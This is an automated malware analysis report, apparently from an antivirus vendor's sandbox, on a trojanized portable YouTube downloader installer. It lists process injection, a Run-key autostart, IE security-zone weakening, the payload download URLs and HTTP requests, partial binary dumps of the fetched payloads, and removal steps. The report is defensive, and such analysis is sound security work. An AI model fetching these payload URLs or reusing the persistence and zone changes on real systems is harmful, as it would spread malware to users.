MD5: a9e517aa61090eb94646b7f05a495f38
SHA1: 9b6b870676ba999a6757f5c5285010c4adf12c15
SHA256: 84be70a66433f93d749881d1e26251f30f6449565f5e66a87aca7deaf4c17ae1
SSDeep: 196608:3b5iKzrZLtAjzHSAxaQGGxRZDk0RnI1SXfgNaD8MIOfQy1 eUI8pVOnBLdJ:r5rlLifyA805wUuI1TIOj1iRGLd
Size: 11576832 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: MicrosoftVisualC, NETexecutable, UPolyXv05_v6
Company: no certificate found
Created at: 2015-11-17 20:56:26
Analyzed on: WindowsXP SP3 32-bit

Summary:

Malware. Malware, short for malicious software, is any software used to disrupt computer operation, gather sensitive information, or gain access to private computer systems.

Payload

No specific payload has been found.

Process activity

The Malware creates the following process(es):

u.exe:380
TempYouTubeVideoDownloaderPRO.exe:260

The Malware injects its code into the following process(es):

%original file name%.exe:580
setup.exe:436

Mutexes

The following mutexes were created/opened:

ZonesLockedCacheCounterMutex
ZonesCacheCounterMutex
ZonesCounterMutex
ShimCacheMutex

File activity

The process %original file name%.exe:580 makes changes in the file system.
The Malware creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\setup.exe (67 bytes)
%Documents and Settings%\%current user%\Local Settings\TempYouTubeVideoDownloaderPRO.exe (83795 bytes)

The process setup.exe:436 makes changes in the file system.
The Malware creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\taskhost.rar (44 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\7z.dll (121968 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\u.exe (28184 bytes)

The Malware deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\taskhost.rar (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\7z.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\u.exe (0 bytes)

The process TempYouTubeVideoDownloaderPRO.exe:260 makes changes in the file system.
The Malware creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp (11188 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsp3.tmp\LangDLL.dll (5 bytes)

The Malware deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsp3.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsp1.tmp (0 bytes)

Registry activity

The process %original file name%.exe:580 makes changes in the system registry.
The Malware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F1 55 E0 6B 55 7D 19 B6 D6 4E 4E 96 32 6D E9 4C"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Local Settings\Temp]
"setup.exe" = "setup"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1]
"TempYouTubeVideoDownloaderPRO.exe" = "YTD Video Downloader PRO"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

"Personal" = "%Documents and Settings%\%current user%\My Documents"

To automatically run itself each time Windows is booted, the Malware adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Startup" = "C:\Windows\system\taskhost.exe"

The Malware modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Malware modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The Malware modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process setup.exe:436 makes changes in the system registry.
The Malware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "23 44 0C 7B 3E 03 E4 14 AE 8D C5 25 3A 82 F5 25"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Local Settings\Temp]
"u.exe" = "7-Zip Console"

The Malware modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Malware modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The Malware modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process u.exe:380 makes changes in the system registry.
The Malware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "16 5C EF 29 53 DF 4F B7 0D 72 78 BC 62 CC 78 90"

The process TempYouTubeVideoDownloaderPRO.exe:260 makes changes in the system registry.
The Malware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "5B 43 11 23 A1 81 CC EC 51 91 21 6C AD 9C 5D 9D"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name: GreenTree Applications SRL
Product Name:
Product Version: 3.0.19.0
Legal Copyright: Copyright (c) 2007-2015 GreenTree Applications SRL
Legal Trademarks:
Original Filename: YouTube Video Downloader PRO 5.0.0 (20150817) Portable by PortableWares.exe
Internal Name: YouTube Video Downloader PRO 5.0.0 (20150817) Portable by PortableWares.exe
File Version: 3.0.19.0
File Description: YTD Video Downloader PRO
Comments: YTD Video Downloader PRO
Language: English (United States)

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL	IP
hxxp://appsmobilevn.com/tompan/soft/u.exe	192.185.91.40
hxxp://appsmobilevn.com/tompan/soft/7z.dll	192.185.91.40

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected

Traffic

GET /tompan/soft/u.exe HTTP/1.1

Host: appsmobilevn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.8.1

Date: Wed, 17 Feb 2016 03:13:34 GMT

Content-Type: application/x-msdownload

Content-Length: 261632

Connection: keep-alive

Last-Modified: Sat, 09 Jan 2016 19:28:15 GMT

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$........J... r.. r.
. r..7~.. r..4y.. r.B7|.. r..4x.. r..4v.. r.O#-.. r.. s.S r.B#/.. r...
y.. r...x.. r..S... r..-t.. r.Rich. r.........PE..L....e}U........../.
.....F..........6........`[email protected]............
......................................x....@..(.......................
.....................................................`................
...............text....E.......F.................. ..`.rdata.......`..
.....J..............@[email protected]....([email protected].
..(....@......................@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................S.\$.UV....3.W.E. L$..M.3.
f.....K.f..9N.v=..f..xf= .t.f=..u..|$..t2f=".u..|$......D$...P...*...3
.G;~.r.3.;._^][...........Dx.P.....3.....V...F.;F.u.......F...f.T$.f..
[email protected]...^....X.C........$VQ...M.......e...M.......M..............
M..Y....M..E...M....E..U.P.M..E.........t..E...P......}..t$.E..M.P.r..
..u.......u..e...x...YY...u..l....u..d....u..\....M....d......^.....C.
.....QSVW.}...3..u..>.^..^..^..^..N..].......N .E...........E......
...P.....Y.E.;[email protected][email protected]..^..._^[d.........
<<< skipped >>>

GET /tompan/soft/7z.dll HTTP/1.1

Host: appsmobilevn.com

HTTP/1.1 200 OK

Server: nginx/1.8.1

Date: Wed, 17 Feb 2016 03:13:35 GMT

Content-Type: application/x-msdownload

Content-Length: 1010176

Connection: keep-alive

Last-Modified: Sat, 09 Jan 2016 19:28:15 GMT

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$..........n...=...=
...=...=...=v..=...=...=...=...=...={..=...=...=...=v..=...=...=>..
=.#.=...=.#$=...=2..=...=...=...=Rich...=........................PE..L
....h}U...........!.................3.................................
...... .......................................n..y...th..d........{...
...................Xq.................................................
.....<............................text.............................
.. ..`.rdata..Y...........................@[email protected]... {...........`..
[email protected][email protected]....{....
...|...l..............@[email protected]..([email protected]....
......................................................................
......................................................................
......................................................................
..................................................................A..D
$....u..A.. ..........u.........A......u........u.2...U..S3.9].VWv/.}.
.u..?.u.f.>.u'.E..v..H........t.C......;].r.3._^[]....W.......@....
.D$..H......T$.V.t$.h.....t$..N..V..F.^[email protected].....:.
..'...Qh......!..Y...M.3.;..E.t.......M.d........V..j..F......f...N...
.p....F.`..........^.U..V.u.j.hLr...u..&...........t.j.h8#...u........
...u..E......P...#[email protected].....@..^][email protected]$.VW..j..&..f..
.f.._;..F..F..s..............t..f...~..._^...SV..W.~..uU.F..N.;.u&
<<< skipped >>>

The Malware connects to the servers at the folowing location(s):

.text

`.rdata

@.data

.ndata

.rsrc

@.reloc

RegDeleteKeyExW

Kernel32.DLL

PSAPI.DLL

%s=%s

GetWindowsDirectoryW

KERNEL32.dll

ExitWindowsEx

GetAsyncKeyState

USER32.dll

GDI32.dll

SHFileOperationW

ShellExecuteW

SHELL32.dll

RegDeleteKeyW

RegCloseKey

RegEnumKeyW

RegOpenKeyExW

RegCreateKeyExW

ADVAPI32.dll

COMCTL32.dll

ole32.dll

VERSION.dll

;-9}yL

yH#.gm-

KY2O%sx

%sX ~

LangDLL.dll

MoreInfo.dll

t:\untgz\MoreInfo\SRC\Release\MoreInfo.pdb

`.data

.reloc

FindProcDLL.dll

w7tbp.dll

aRGQ>)]I.hR2qZ6zd>

ZJ?Q>)K9'G5ô$D2#L<0oc[

Ybk%C

%s.eT

%xuM-

133336633

0153668886663311

 1536888

;886631  ~

 113688;

86351 ($

>1367631%

<  5<  9

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Nullsoft.NSIS.exehead" type="win32"/><description>Nullsoft Install System v2.46</description><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*" /></dependentAssembly></dependency><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false"/></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/><supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/><supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/><supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/></application></compatibility></assembly>

logging set to %d

settings logging to %d

created uninstaller: %d, "%s"

WriteReg: error creating key "%s\%s"

WriteReg: error writing into "%s\%s" "%s"

WriteRegBin: "%s\%s" "%s"="%s"

WriteRegDWORD: "%s\%s" "%s"="0xx"

WriteRegExpandStr: "%s\%s" "%s"="%s"

WriteRegStr: "%s\%s" "%s"="%s"

DeleteRegKey: "%s\%s"

DeleteRegValue: "%s\%s" "%s"

WriteINIStr: wrote [%s] %s=%s in %s

CopyFiles "%s"->"%s"

CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d

Error registering DLL: Could not load %s

Error registering DLL: %s not found in %s

GetTTFFontName(%s) returned %s

GetTTFVersionString(%s) returned %s

Exec: failed createprocess ("%s")

Exec: success ("%s")

Exec: command="%s"

ExecShell: success ("%s": file:"%s" params:"%s")

ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d

Exch: stack < %d elements

RMDir: "%s"

MessageBox: %d,"%s"

Delete: "%s"

File: wrote %d to "%s"

File: skipped: "%s" (overwriteflag=%d)

File: error creating "%s"

File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"

Rename failed: %s

Rename on reboot: %s

Rename: %s

IfFileExists: file "%s" does not exist, jumping %d

IfFileExists: file "%s" exists, jumping %d

CreateDirectory: "%s" created

CreateDirectory: can't create "%s" - a file already exists

CreateDirectory: can't create "%s" (err=%d)

CreateDirectory: "%s" (%d)

SetFileAttributes: "%s":X

Sleep(%d)

detailprint: %s

Call: %d

Aborting: "%s"

Jump: %d

verifying installer: %d%%

unpacking data: %d%%

... %d%%

hXXp://nsis.sf.net/NSIS_Error

~nsu.tmp

install.log

%u.%u%s%s

Skipping section: "%s"

Section: "%s"

New install of "%s" to "%s"

.DEFAULT\Control Panel\International

Software\Microsoft\Windows\CurrentVersion

*?|<>/":

invalid registry key

HKEY_DYN_DATA

HKEY_CURRENT_CONFIG

HKEY_PERFORMANCE_DATA

HKEY_USERS

HKEY_LOCAL_MACHINE

HKEY_CURRENT_USER

HKEY_CLASSES_ROOT

x%c

RMDir: RemoveDirectory failed("%s")

RMDir: RemoveDirectory on Reboot("%s")

RMDir: RemoveDirectory("%s")

RMDir: RemoveDirectory invalid input("%s")

Delete: DeleteFile failed("%s")

Delete: DeleteFile on Reboot("%s")

Delete: DeleteFile("%s")

%s: failed opening file "%s"

\"%CurrentUserName%"\LOCALS~1\Temp\nsp3.tmp\LangDLL.dll

rPRO.exe"

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsp3.tmp\LangDLL.dll

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsp3.tmp

\StringFileInfo\XX\%s

USER.EXE

1.0.1.2

kernel32.dll

nsp3.tmp

File: wrote 5120 to "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsp3.tmp\LangDLL.dll"

~1\Temp\nsp3.tmp\LangDLL.dll"

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\TempYouTubeVideoDownloaderPRO.exe"

"C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\TempYouTubeVideoDownloaderPRO.exe"

\YTDPortable

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1

TempYouTubeVideoDownloaderPRO.exe

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsp1.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\TempYouTubeVideoDownloaderPRO.exe

PortableApps.comLocaleID%

hXXp://portablewares.blogspot.com/

5.0.0.4

YTDPortable_5.0.0.4_Multilingual.paf.exe

PortableApps.comAppID

YTDPortable

PortableApps.comFormatVersion

3.0.19

PortableApps.comInstallerVersion

3.0.19.0

Portable

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):
   

   u.exe:380
   TempYouTubeVideoDownloaderPRO.exe:260

2. Delete the original Malware file.
   
3. Delete or disinfect the following files created/modified by the Malware:
   

   %Documents and Settings%\%current user%\Local Settings\Temp\setup.exe (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\TempYouTubeVideoDownloaderPRO.exe (83795 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\taskhost.rar (44 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\7z.dll (121968 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\u.exe (28184 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp (11188 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsp3.tmp\LangDLL.dll (5 bytes)

4. Delete the following value(s) in the autorun key (How to Work with System Registry):
   

   [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
   "Startup" = "C:\Windows\system\taskhost.exe"

5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
6. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.